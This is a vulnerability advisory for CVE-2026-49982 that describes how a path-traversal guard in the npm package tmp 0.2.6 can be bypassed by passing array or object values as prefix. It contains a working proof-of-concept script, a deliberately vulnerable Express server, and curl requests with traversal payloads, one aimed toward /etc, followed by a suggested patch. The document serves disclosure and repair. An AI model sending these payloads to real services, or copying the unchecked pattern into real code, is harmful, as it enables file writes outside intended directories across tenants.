CVE-2026-49982
ADVISORY - githubSummary
Summary
The _assertPath guard added to tmp@0.2.6 rejects only string values that contain the substring ... It is bypassed when prefix, postfix, or template is supplied as a non-string value (Array, Buffer, or any object) whose includes('..') returns falsy but whose stringification still contains ../. The value flows through Array.prototype.join/String coercion inside _generateTmpName and path.join(tmpDir, opts.dir, name), producing a final path that escapes tmpdir and creates a file or directory at an attacker-controlled location with the host process's privileges.
This affects any application that forwards untrusted request data (a common pattern is JSON body fields or qs-parsed bracket-array query strings such as ?prefix[]=...) into tmp.file, tmp.fileSync, tmp.dir, tmp.dirSync, tmp.tmpName, or tmp.tmpNameSync without explicit type coercion.
Impact
- Arbitrary file creation outside the intended temporary directory, with the running process's filesystem permissions.
- Directory creation outside the intended tree (via
tmp.dir{,Sync}), which can then host a subsequent symlink swap. - File content that the application writes to the returned descriptor lands at the attacker's chosen path. In multi-tenant services this crosses tenant boundaries; in CI/build systems it can write into source trees, build outputs, or web roots.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L - score 8.1 (High). Network-reachable when the consumer passes request data unchanged.
Affected versions
tmp >= 0.2.6 (the _assertPath guard introduced by commit 7ef2728 / merged in efa4a06f). Earlier releases are vulnerable to the plain string form (already published as a separate advisory) plus this bypass.
Vulnerable code
lib/tmp.js at tag v0.2.6, commit 41f7159:
// lib/tmp.js:533-539
function _assertPath(path) {
if (path.includes("..")) {
throw new Error("Relative value not allowed");
}
return path;
}
// lib/tmp.js:577-580
options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
// lib/tmp.js:515-525 - opts.prefix and opts.postfix are stringified by Array.prototype.join
const name = [
opts.prefix ? opts.prefix : 'tmp',
'-',
process.pid,
'-',
_randomChars(12),
opts.postfix ? '-' + opts.postfix : ''
].join('');
return path.join(tmpDir, opts.dir, name);
Root cause: _assertPath assumes its argument is a string. For an Array argument, Array.prototype.includes('..') checks element equality (so ['../escape'].includes('..') is false); for an arbitrary object, Object.prototype.includes does not exist and a duck-typed includes: () => false defeats the check entirely. In both shapes, the subsequent [...].join('') and path.join(...) coerce the value to its underlying string, which still contains ../.
How untrusted data reaches _assertPath
Two production-realistic shapes that yield a non-string prefix/postfix/template:
- JSON request bodies.
express.json()(and any other JSON body parser) preserves the parsed value's type. A body of{"prefix":["../escape"]}reaches the handler as an Array. qs-style bracket-array query strings. Express 4's defaultqsparser turns?prefix[]=../escapeinto['../escape']. The same applies to any framework usingqs(Fastify, Koa with bodyparser, Hapi via configured parsers, etc.).
The consumer pattern is the natural one - forward req.body.prefix directly into tmp.file({ prefix, tmpdir }) with no developer-side coercion. The 0.2.6 release notes describe the guard as preventing prefix/postfix traversal, so consumers reasonably believe the guard covers the typical input flow.
Proof of concept (string vs array)
poc.js (run after npm install tmp@0.2.6):
const tmp = require('tmp');
const path = require('path');
const fs = require('fs');
const baseDir = fs.mkdtempSync('/tmp/safe-base-');
console.log('[negative control] string "../escape" - must be blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: '../escape' });
console.log(' UNEXPECTED, file at:', r.name);
r.removeCallback();
} catch (e) {
console.log(' BLOCKED as expected:', e.message);
}
console.log('\n[bypass] array ["../escape"] - same effective value, not blocked');
try {
const r = tmp.fileSync({ tmpdir: baseDir, prefix: ['../escape'] });
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
console.log('\n[bypass] duck-typed object {toString, includes} - also not blocked');
try {
const r = tmp.fileSync({
tmpdir: baseDir,
prefix: { toString: () => '../escape', includes: () => false }
});
console.log(' CREATED at:', r.name);
console.log(' ESCAPED:', !path.resolve(r.name).startsWith(path.resolve(baseDir)));
r.removeCallback();
} catch (e) {
console.log(' BLOCKED:', e.message);
}
Observed output on tmp@0.2.6:
[negative control] string "../escape" - must be blocked
BLOCKED as expected: Relative value not allowed
[bypass] array ["../escape"] - same effective value, not blocked
CREATED at: /private/tmp/escape-78856-D3p4mEWyapSn
ESCAPED: true
[bypass] duck-typed object {toString, includes} - also not blocked
CREATED at: /private/tmp/escape-78856-zP4qXkRm12Lf
ESCAPED: true
End-to-end reproduction (against the deployed npm package)
Install:
mkdir tmp-bypass-poc && cd tmp-bypass-poc
npm init -y
npm install tmp@0.2.6 express@5
victim-server.js - realistic Express app that forwards a JSON body field into tmp.file:
const express = require('express');
const tmp = require('tmp');
const fs = require('fs');
const path = require('path');
const app = express();
app.use(express.json());
const TENANT_BASE = fs.mkdtempSync('/tmp/tenant-base-');
console.log('[victim] Tenant base dir:', TENANT_BASE);
app.post('/upload', (req, res) => {
const userPrefix = req.body.prefix; // attacker-controlled
console.log('[victim] received prefix:', JSON.stringify(userPrefix),
'(type:', Array.isArray(userPrefix) ? 'array' : typeof userPrefix, ')');
tmp.file({ tmpdir: TENANT_BASE, prefix: userPrefix }, (err, filepath, fd, cleanup) => {
if (err) {
console.log('[victim] tmp error:', err.message);
return res.status(400).json({ error: err.message });
}
fs.writeSync(fd, 'attacker-controlled-content');
fs.closeSync(fd);
const escaped = !path.resolve(filepath).startsWith(path.resolve(TENANT_BASE));
console.log('[victim] file created at:', filepath, 'ESCAPED:', escaped);
res.json({ filepath, escaped, tenantBase: TENANT_BASE });
});
});
app.listen(3000, () => console.log('[victim] http://127.0.0.1:3000'));
Run:
node victim-server.js &
Drive three requests from another shell:
echo '=== ATTACK 1: string prefix - caught by 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":"../escape-string"}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 2: array prefix - bypasses 0.2.6 ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../escape-array"]}' http://127.0.0.1:3000/upload
echo
echo '=== ATTACK 3: multi-level traversal toward /etc ==='
curl -s -X POST -H 'Content-Type: application/json' \
-d '{"prefix":["../../../etc/poc-tmp-bypass"]}' http://127.0.0.1:3000/upload
Captured transcript (verbatim from the test rig):
=== ATTACK 1: string prefix - caught by 0.2.6 ===
{"error":"Relative value not allowed"}
=== ATTACK 2: array prefix - bypasses 0.2.6 ===
{"filepath":"/private/tmp/escape-array-79635-gEFyGCBNFSTh","escaped":true,"tenantBase":"/tmp/tenant-base-3XHwPZ"}
=== ATTACK 3: multi-level traversal toward /etc ===
{"error":"EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'"}
Server log:
[victim] Tenant base dir: /tmp/tenant-base-3XHwPZ
[victim] received prefix: "../escape-string" (type: string )
[victim] tmp error: Relative value not allowed
[victim] received prefix: ["../escape-array"] (type: array )
[victim] file created at: /private/tmp/escape-array-79635-gEFyGCBNFSTh ESCAPED: true
[victim] received prefix: ["../../../etc/poc-tmp-bypass"] (type: array )
[victim] tmp error: EACCES: permission denied, open '/etc/poc-tmp-bypass-79635-PEIABptX8JGH'
Observations:
- ATTACK 1 (string
../escape-string) is rejected at_assertPath. The 0.2.6 guard works for plain strings. - ATTACK 2 (array
["../escape-array"]) passes the guard and creates a file at/private/tmp/escape-array-..., outside the tenant base/tmp/tenant-base-3XHwPZ. The file content isattacker-controlled-content. Confirmed withls:
$ ls -la /tmp/escape-array-*
-rw-------@ 1 rick wheel 27 May 27 20:25 /tmp/escape-array-79635-gEFyGCBNFSTh
$ cat /tmp/escape-array-*
attacker-controlled-content
$ ls -la /tmp/tenant-base-3XHwPZ/
total 0
drwx------ 2 rick wheel 64 May 27 20:25 .
Tenant base is empty. The escape is complete.
- ATTACK 3 (array
["../../../etc/poc-tmp-bypass"]) reachesfs.openfor/etc/poc-tmp-bypass-.... The open fails only because of POSIX permissions, not because tmp blocked the path. On a process running as root, or against any world-writable target directory, this would succeed.
Negative control with patched build
Applying the suggested fix below and re-running ATTACK 2:
=== ATTACK 2: array prefix - after fix ===
{"error":"prefix option must be a string, got \"object\"."}
The patched build rejects non-string prefix/postfix/template with a clear type error before the path is constructed.
Suggested fix
Patch _assertPath to require a string argument. The check value.includes('..') is sound only over strings; any non-string with a custom or array-element includes semantics bypasses it.
--- a/lib/tmp.js
+++ b/lib/tmp.js
@@ -528,11 +528,14 @@ function _generateTmpName(opts) {
/**
- * Check the prefix and postfix options
+ * Check the prefix, postfix, and template options
*
* @private
*/
-function _assertPath(path) {
- if (path.includes("..")) {
+function _assertPath(option, value) {
+ if (typeof value !== 'string') {
+ throw new Error(`${option} option must be a string, got "${typeof value}".`);
+ }
+ if (value.includes("..")) {
throw new Error("Relative value not allowed");
}
- return path;
+ return value;
}
@@ -575,9 +578,9 @@ function _assertOptionsBase(options) {
options.unsafeCleanup = !!options.unsafeCleanup;
// for completeness' sake only, also keep (multiple) blanks if the user, purportedly sane, requests us to
- options.prefix = _isUndefined(options.prefix) ? '' : _assertPath(options.prefix);
- options.postfix = _isUndefined(options.postfix) ? '' : _assertPath(options.postfix);
- options.template = _isUndefined(options.template) ? undefined : _assertPath(options.template);
+ options.prefix = _isUndefined(options.prefix) ? '' : _assertPath('prefix', options.prefix);
+ options.postfix = _isUndefined(options.postfix) ? '' : _assertPath('postfix', options.postfix);
+ options.template = _isUndefined(options.template) ? undefined : _assertPath('template', options.template);
}
Defence-in-depth, recommended in addition to the type check: validate the final resolved path against tmpdir after _generateTmpName, similar to what _getRelativePath already does for dir and template. That way any future bypass through a different vector (e.g., a future Node path change, or a different option) does not exit tmpdir.
Fix PR
https://github.com/raszi/node-tmp-ghsa-7c78-jf6q-g5cm/pull/1
Credit
Reported by tonghuaroot.
Sign in to Docker Scout
See which of your images are affected by this CVE and how to fix them by signing into Docker Scout.
Sign in